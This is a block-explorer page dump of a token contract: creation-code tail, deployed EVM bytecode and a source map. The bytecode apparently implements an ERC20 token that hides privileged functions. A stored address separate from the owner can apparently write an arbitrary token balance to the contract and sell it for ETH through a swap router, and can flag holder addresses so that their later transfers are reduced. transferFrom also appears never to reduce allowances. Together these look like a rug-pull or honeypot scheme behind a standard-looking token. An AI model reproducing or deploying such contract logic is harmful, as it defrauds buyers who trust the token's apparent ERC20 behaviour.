05180910390fd5b5f82846113359190611bf7565b90508091505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561137857808201518184015260208101905061135d565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61139d82611341565b6113a7818561134b565b93506113b781856020860161135b565b6113c081611383565b840191505092915050565b5f6020820190508181035f8301526113e38184611393565b905092915050565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61141c826113f3565b9050919050565b61142c81611412565b8114611436575f80fd5b50565b5f8135905061144781611423565b92915050565b5f819050919050565b61145f8161144d565b8114611469575f80fd5b50565b5f8135905061147a81611456565b92915050565b5f8060408385031215611496576114956113eb565b5b5f6114a385828601611439565b92505060206114b48582860161146c565b9150509250929050565b5f8115159050919050565b6114d2816114be565b82525050565b5f6020820190506114eb5f8301846114c9565b92915050565b6114fa8161144d565b82525050565b5f6020820190506115135f8301846114f1565b92915050565b5f805f606084860312156115305761152f6113eb565b5b5f61153d86828701611439565b935050602061154e86828701611439565b925050604061155f8682870161146c565b9150509250925092565b5f80fd5b5f80fd5b5f80fd5b5f8083601f84011261158a57611589611569565b5b8235905067ffffffffffffffff8111156115a7576115a661156d565b5b6020830191508360208202830111156115c3576115c2611571565b5b9250929050565b5f80602083850312156115e0576115df6113eb565b5b5f83013567ffffffffffffffff8111156115fd576115fc6113ef565b5b61160985828601611575565b92509250509250929050565b61161e81611412565b82525050565b5f6020820190506116375f830184611615565b92915050565b5f60208284031215611652576116516113eb565b5b5f61165f84828501611439565b91505092915050565b5f806040838503121561167e5761167d6113eb565b5b5f61168b85828601611439565b925050602061169c85828601611439565b9150509250929050565b5f80604083850312156116bc576116bb6113eb565b5b5f6116c98582860161146c565b92505060206116da85828601611439565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061172857607f821691505b60208210810361173b5761173a6116e4565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6117788261144d565b91506117838361144d565b925082820190508082111561179b5761179a611741565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f6117d88261144d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361180a57611809611741565b5b600182019050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61184960208361134b565b915061185482611815565b602082019050919050565b5f6020820190508181035f8301526118768161183d565b9050919050565b5f6118878261144d565b91506118928361144d565b92508282039050818111156118aa576118a9611741565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f815190506118eb81611423565b92915050565b5f60208284031215611906576119056113eb565b5b5f611913848285016118dd565b91505092915050565b5f819050919050565b5f819050919050565b5f61194861194361193e8461191c565b611925565b61144d565b9050919050565b6119588161192e565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61199081611412565b82525050565b5f6119a18383611987565b60208301905092915050565b5f602082019050919050565b5f6119c38261195e565b6119cd8185611968565b93506119d883611978565b805f5b83811015611a085781516119ef8882611996565b97506119fa836119ad565b9250506001810190506119db565b5085935050505092915050565b5f60a082019050611a285f8301886114f1565b611a35602083018761194f565b8181036040830152611a4781866119b9565b9050611a566060830185611615565b611a6360808301846114f1565b9695505050505050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f611ac760258361134b565b9150611ad282611a6d565b604082019050919050565b5f6020820190508181035f830152611af481611abb565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f611b5560238361134b565b9150611b6082611afb565b604082019050919050565b5f6020820190508181035f830152611b8281611b49565b9050919050565b5f611b938261144d565b9150611b9e8361144d565b9250828202611bac8161144d565b91508282048414831517611bc357611bc2611741565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611c018261144d565b9150611c0c8361144d565b925082611c1c57611c1b611bca565b5b828204905092915050565b7f536166654d6174683a20206d756c7469706c69636174696f6e206f766572666c5f8201527f6f77000000000000000000000000000000000000000000000000000000000000602082015250565b5f611c8160228361134b565b9150611c8c82611c27565b604082019050919050565b5f6020820190508181035f830152611cae81611c75565b9050919050565b7f536166654d6174683a20206469766973696f6e206279207a65726f00000000005f82015250565b5f611ce9601b8361134b565b9150611cf482611cb5565b602082019050919050565b5f6020820190508181035f830152611d1681611cdd565b905091905056fea26469706673582212204399f948504ddb83686385f2941e531b5f343b34291357517a43a24c221b7ae864736f6c63430008150033

Deployed Bytecode

0x608060405234801561000f575f80fd5b5060043610610140575f3560e01c80636f268a99116100b65780638da5cb5b1161007a5780638da5cb5b1461030657806395d89b4114610324578063a457c2d714610342578063a9059cbb14610372578063dd62ed3e146103a2578063e29aba1a146103d257610140565b80636f268a991461029a57806370a08231146102b8578063715018a6146102e857806379d22b08146102f25780637c519ffb146102fc57610140565b806332424aa31161010857806332424aa3146101fe57806338046bb31461021c578063392fcfdf1461023857806339509351146102425780633eaaf86b1461027257806368f569231461029057610140565b806306fdde0314610144578063095ea7b31461016257806318160ddd1461019257806323b872dd146101b0578063313ce567146101e0575b5f80fd5b61014c6103ee565b60405161015991906113cb565b60405180910390f35b61017c60048036038101906101779190611480565b61047e565b60405161018991906114d8565b60405180910390f35b61019a610494565b6040516101a79190611500565b60405180910390f35b6101ca60048036038101906101c59190611519565b61049d565b6040516101d791906114d8565b60405180910390f35b6101e861053f565b6040516101f59190611500565b60405180910390f35b610206610548565b6040516102139190611500565b60405180910390f35b610236600480360381019061023191906115ca565b61054e565b005b610240610602565b005b61025c60048036038101906102579190611480565b610604565b60405161026991906114d8565b60405180910390f35b61027a6106a4565b6040516102879190611500565b60405180910390f35b6102986106aa565b005b6102a26106ac565b6040516102af9190611624565b60405180910390f35b6102d260048036038101906102cd919061163d565b6106d1565b6040516102df9190611500565b60405180910390f35b6102f0610717565b005b6102fa610846565b005b610304610848565b005b61030e61084a565b60405161031b9190611624565b60405180910390f35b61032c610871565b60405161033991906113cb565b60405180910390f35b61035c60048036038101906103579190611480565b610901565b60405161036991906114d8565b60405180910390f35b61038c60048036038101906103879190611480565b610a25565b60405161039991906114d8565b60405180910390f35b6103bc60048036038101906103b79190611668565b610a42565b6040516103c99190611500565b60405180910390f35b6103ec60048036038101906103e791906116a6565b610ac4565b005b6060600380546103fd90611711565b80601f016020809104026020016040519081016040528092919081815260200182805461042990611711565b80156104745780601f1061044b57610100808354040283529160200191610474565b820191905f5260205f20905b81548152906001019060200180831161045757829003601f168201915b5050505050905090565b5f61048a338484610d61565b6001905092915050565b5f600254905090565b5f6104a9848484610f24565b8160075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6104f0611203565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610534575f80fd5b600190509392505050565b5f600154905090565b60015481565b5f61055761120a565b90505f5b838390508110156105fc5761056e611211565b156105e957600182610580919061176e565b60085f868685818110610596576105956117a1565b5b90506020020160208101906105ab919061163d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b80806105f4906117ce565b91505061055b565b50505050565b565b5f61069a610610611203565b848460075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610695919061176e565b610d61565b6001905092915050565b60025481565b565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60095f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1661073661084a565b73ffffffffffffffffffffffffffffffffffffffff161461078c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107839061185f565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b565b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606004805461088090611711565b80601f01602080910402602001604051908101604052809291908181526020018280546108ac90611711565b80156108f75780601f106108ce576101008083540402835291602001916108f7565b820191905f5260205f20905b8154815290600101906020018083116108da57829003601f168201915b5050505050905090565b5f8160075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610986575f80fd5b610a1b610991611203565b848460075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610a16919061187d565b610d61565b6001905092915050565b5f610a38610a31611203565b8484610f24565b6001905092915050565b5f60075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610acc611211565b15610d5757610afd3060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610d61565b8160095f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f600267ffffffffffffffff811115610b5b57610b5a6118b0565b5b604051908082528060200260200182016040528015610b895781602001602082028036833780820191505090505b50905030815f81518110610ba057610b9f6117a1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c44573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c6891906118f1565b81600181518110610c7c57610c7b6117a1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947845f8486602042610d04919061176e565b6040518663ffffffff1660e01b8152600401610d24959493929190611a15565b5f604051808303815f87803b158015610d3b575f80fd5b505af1158015610d4d573d5f803e3d5ffd5b5050505050610d5c565b610d5d565b5b5050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610dcf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dc690611add565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3490611b6b565b60405180910390fd5b8060075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f179190611500565b60405180910390a3505050565b5f8073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610f5c575f80fd5b60095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054821115610fa5575f80fd5b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110029190611500565b60405180910390a38160095f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611053919061187d565b60095f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f61109d61120a565b60085f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054111590505f6111096103e86110fb6103e78761126e90919063ffffffff16565b6112e590919063ffffffff16565b90505f60085f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054141580156111555750815b1561115e578092505b5f60095f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905083856111ab919061187d565b816111b6919061176e565b90508060095f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555050505050505050565b5f33905090565b5f43905090565b5f61121a611203565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614905090565b5f80830361127e575f90506112df565b5f828461128b9190611b89565b905082848261129a9190611bf7565b146112da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d190611c97565b60405180910390fd5b809150505b92915050565b5f808211611328576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131f90611cff565b60405180910390fd5b5f82846113359190611bf7565b90508091505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561137857808201518184015260208101905061135d565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61139d82611341565b6113a7818561134b565b93506113b781856020860161135b565b6113c081611383565b840191505092915050565b5f6020820190508181035f8301526113e38184611393565b905092915050565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61141c826113f3565b9050919050565b61142c81611412565b8114611436575f80fd5b50565b5f8135905061144781611423565b92915050565b5f819050919050565b61145f8161144d565b8114611469575f80fd5b50565b5f8135905061147a81611456565b92915050565b5f8060408385031215611496576114956113eb565b5b5f6114a385828601611439565b92505060206114b48582860161146c565b9150509250929050565b5f8115159050919050565b6114d2816114be565b82525050565b5f6020820190506114eb5f8301846114c9565b92915050565b6114fa8161144d565b82525050565b5f6020820190506115135f8301846114f1565b92915050565b5f805f606084860312156115305761152f6113eb565b5b5f61153d86828701611439565b935050602061154e86828701611439565b925050604061155f8682870161146c565b9150509250925092565b5f80fd5b5f80fd5b5f80fd5b5f8083601f84011261158a57611589611569565b5b8235905067ffffffffffffffff8111156115a7576115a661156d565b5b6020830191508360208202830111156115c3576115c2611571565b5b9250929050565b5f80602083850312156115e0576115df6113eb565b5b5f83013567ffffffffffffffff8111156115fd576115fc6113ef565b5b61160985828601611575565b92509250509250929050565b61161e81611412565b82525050565b5f6020820190506116375f830184611615565b92915050565b5f60208284031215611652576116516113eb565b5b5f61165f84828501611439565b91505092915050565b5f806040838503121561167e5761167d6113eb565b5b5f61168b85828601611439565b925050602061169c85828601611439565b9150509250929050565b5f80604083850312156116bc576116bb6113eb565b5b5f6116c98582860161146c565b92505060206116da85828601611439565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061172857607f821691505b60208210810361173b5761173a6116e4565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6117788261144d565b91506117838361144d565b925082820190508082111561179b5761179a611741565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f6117d88261144d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361180a57611809611741565b5b600182019050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61184960208361134b565b915061185482611815565b602082019050919050565b5f6020820190508181035f8301526118768161183d565b9050919050565b5f6118878261144d565b91506118928361144d565b92508282039050818111156118aa576118a9611741565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f815190506118eb81611423565b92915050565b5f60208284031215611906576119056113eb565b5b5f611913848285016118dd565b91505092915050565b5f819050919050565b5f819050919050565b5f61194861194361193e8461191c565b611925565b61144d565b9050919050565b6119588161192e565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61199081611412565b82525050565b5f6119a18383611987565b60208301905092915050565b5f602082019050919050565b5f6119c38261195e565b6119cd8185611968565b93506119d883611978565b805f5b83811015611a085781516119ef8882611996565b97506119fa836119ad565b9250506001810190506119db565b5085935050505092915050565b5f60a082019050611a285f8301886114f1565b611a35602083018761194f565b8181036040830152611a4781866119b9565b9050611a566060830185611615565b611a6360808301846114f1565b9695505050505050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f611ac760258361134b565b9150611ad282611a6d565b604082019050919050565b5f6020820190508181035f830152611af481611abb565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f611b5560238361134b565b9150611b6082611afb565b604082019050919050565b5f6020820190508181035f830152611b8281611b49565b9050919050565b5f611b938261144d565b9150611b9e8361144d565b9250828202611bac8161144d565b91508282048414831517611bc357611bc2611741565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611c018261144d565b9150611c0c8361144d565b925082611c1c57611c1b611bca565b5b828204905092915050565b7f536166654d6174683a20206d756c7469706c69636174696f6e206f766572666c5f8201527f6f77000000000000000000000000000000000000000000000000000000000000602082015250565b5f611c8160228361134b565b9150611c8c82611c27565b604082019050919050565b5f6020820190508181035f830152611cae81611c75565b9050919050565b7f536166654d6174683a20206469766973696f6e206279207a65726f00000000005f82015250565b5f611ce9601b8361134b565b9150611cf482611cb5565b602082019050919050565b5f6020820190508181035f830152611d1681611cdd565b905091905056fea26469706673582212204399f948504ddb83686385f2941e531b5f343b34291357517a43a24c221b7ae864736f6c63430008150033

Deployed Bytecode Sourcemap

8263:4979:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9194:85;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13081:158;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11256:93;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9940:228;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10958:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8332:28;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9575:359;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9401:43;;;:::i;:::-;;12662:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8369:57;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9495:34;;;:::i;:::-;;8806:25;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9285:110;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7364:148;;;:::i;:::-;;9535:34;;;:::i;:::-;;9450:39;;;:::i;:::-;;7518:71;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10174:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10583:243;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12869:154;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10443:134;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11355:570;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9194:85;9233:13;9266:5;9259:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9194:85;:::o;13081:158::-;13155:4;13172:37;13181:10;13193:7;13202:6;13172:8;:37::i;:::-;13227:4;13220:11;;13081:158;;;;:::o;11256:93::-;11302:7;11329:12;;11322:19;;11256:93;:::o;9940:228::-;10028:4;10045:35;10055:4;10061:9;10072:7;10045:9;:35::i;:::-;10130:7;10099:11;:17;10111:4;10099:17;;;;;;;;;;;;;;;:27;10117:8;:6;:8::i;:::-;10099:27;;;;;;;;;;;;;;;;:38;;10091:47;;;;;;10156:4;10149:11;;9940:228;;;;;:::o;10958:87::-;11001:7;11028:9;;11021:16;;10958:87;:::o;8332:28::-;;;;:::o;9575:359::-;9653:19;9675:16;:14;:16::i;:::-;9653:38;;9707:15;9702:225;9742:13;;:20;;9729:10;:33;9702:225;;;9800:17;:15;:17::i;:::-;9795:121;;;9899:1;9885:11;:15;;;;:::i;:::-;9846:9;:36;9856:13;;9870:10;9856:25;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;9846:36;;;;;;;;;;;;;;;:54;;;;9795:121;9765:12;;;;;:::i;:::-;;;;9702:225;;;;9642:292;9575:359;;:::o;9401:43::-;:::o;12662:201::-;12742:4;12759:74;12768:8;:6;:8::i;:::-;12778:7;12822:10;12787:11;:23;12799:10;12787:23;;;;;;;;;;;;;;;:32;12811:7;12787:32;;;;;;;;;;;;;;;;:45;;;;:::i;:::-;12759:8;:74::i;:::-;12851:4;12844:11;;12662:201;;;;:::o;8369:57::-;;;;:::o;9495:34::-;:::o;8806:25::-;;;;;;;;;;;;;:::o;9285:110::-;9342:7;9369:9;:18;9379:7;9369:18;;;;;;;;;;;;;;;;9362:25;;9285:110;;;:::o;7364:148::-;7760:10;7749:21;;:7;:5;:7::i;:::-;:21;;;7741:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;7471:1:::1;7434:40;;7455:6;::::0;::::1;;;;;;;;7434:40;;;;;;;;;;;;7502:1;7485:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;7364:148::o:0;9535:34::-;:::o;9450:39::-;:::o;7518:71::-;7564:7;7581:6;;;;;;;;;;;7574:13;;7518:71;:::o;10174:87::-;10213:13;10246:7;10239:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10174:87;:::o;10583:243::-;10656:4;10714:6;10681:11;:23;10693:10;10681:23;;;;;;;;;;;;;;;:29;10705:4;10681:29;;;;;;;;;;;;;;;;:39;;10673:48;;;;;;10732:64;10741:8;:6;:8::i;:::-;10751:4;10789:6;10757:11;:23;10769:10;10757:23;;;;;;;;;;;;;;;:29;10781:4;10757:29;;;;;;;;;;;;;;;;:38;;;;:::i;:::-;10732:8;:64::i;:::-;10814:4;10807:11;;10583:243;;;;:::o;12869:154::-;12938:4;12955:38;12965:8;:6;:8::i;:::-;12975:9;12986:6;12955:9;:38::i;:::-;13011:4;13004:11;;12869:154;;;;:::o;10443:134::-;10515:7;10542:11;:18;10554:5;10542:18;;;;;;;;;;;;;;;:27;10561:7;10542:27;;;;;;;;;;;;;;;;10535:34;;10443:134;;;;:::o;11355:570::-;11437:17;:15;:17::i;:::-;11433:485;;;11471:53;11488:4;11503:11;;;;;;;;;;;11517:6;11471:8;:53::i;:::-;11567:6;11540:9;:24;11558:4;11540:24;;;;;;;;;;;;;;;:33;;;;11588:28;11633:1;11619:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11588:47;;11675:4;11650:11;11662:1;11650:14;;;;;;;;:::i;:::-;;;;;;;:30;;;;;;;;;;;11713:11;;;;;;;;;;;:16;;;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11696:11;11708:1;11696:14;;;;;;;;:::i;:::-;;;;;;;:35;;;;;;;;;;;11747:11;;;;;;;;;;;:62;;;11810:6;11818:1;11821:11;11834:10;11864:2;11846:15;:20;;;;:::i;:::-;11747:120;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11456:423;11433:485;;;11900:7;;11433:485;11355:570;;;:::o;8840:346::-;8959:1;8942:19;;:5;:19;;;8934:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;9041:1;9022:21;;:7;:21;;;9014:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;9124:6;9094:11;:18;9106:5;9094:18;;;;;;;;;;;;;;;:27;9113:7;9094:27;;;;;;;;;;;;;;;:36;;;;9162:7;9146:32;;9155:5;9146:32;;;9171:6;9146:32;;;;;;:::i;:::-;;;;;;;;8840:346;;;:::o;11931:655::-;12011:17;12067:1;12051:18;;:4;:18;;;12043:27;;;;;;12098:9;:15;12108:4;12098:15;;;;;;;;;;;;;;;;12089:5;:24;;12081:33;;;;;;12145:2;12130:25;;12139:4;12130:25;;;12149:5;12130:25;;;;;;:::i;:::-;;;;;;;;12203:5;12184:9;:15;12194:4;12184:15;;;;;;;;;;;;;;;;:25;;;;:::i;:::-;12166:9;:15;12176:4;12166:15;;;;;;;;;;;;;;;:43;;;;12220:15;12259:16;:14;:16::i;:::-;12239:9;:15;12249:4;12239:15;;;;;;;;;;;;;;;;:37;;12220:57;;12288:25;12316:24;12335:4;12316:14;12326:3;12316:5;:9;;:14;;;;:::i;:::-;:18;;:24;;;;:::i;:::-;12288:52;;12375:1;12356:9;:15;12366:4;12356:15;;;;;;;;;;;;;;;;:20;;12355:36;;;;;12381:10;12355:36;12351:103;;;12423:17;12410:31;;12351:103;12464:17;12484:9;:13;12494:2;12484:13;;;;;;;;;;;;;;;;12464:33;;12532:9;12522:5;12521:21;;;;:::i;:::-;12508:34;;;;;:::i;:::-;;;12569:9;12553;:13;12563:2;12553:13;;;;;;;;;;;;;;;:25;;;;12000:586;;;;11931:655;;;:::o;11164:86::-;11205:7;11232:10;11225:17;;11164:86;:::o;10267:96::-;10316:7;10343:12;10336:19;;10267:96;:::o;11051:107::-;11100:4;11140:8;:6;:8::i;:::-;11125:24;;:10;;;;;;;;;;;:24;;;11117:33;;11051:107;:::o;6982:223::-;7040:7;7069:1;7064;:6;7060:23;;7080:1;7073:8;;;;7060:23;7093:9;7109:1;7105;:5;;;;:::i;:::-;7093:17;;7138:1;7133;7129;:5;;;;:::i;:::-;:10;7121:57;;;;;;;;;;;;:::i;:::-;;;;;;;;;7196:1;7189:8;;;6982:223;;;;;:::o;6796:178::-;6854:7;6886:1;6882;:5;6874:45;;;;;;;;;;;;:::i;:::-;;;;;;;;;6930:9;6946:1;6942;:5;;;;:::i;:::-;6930:17;;6965:1;6958:8;;;6796:178;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1553:117;1662:1;1659;1652:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;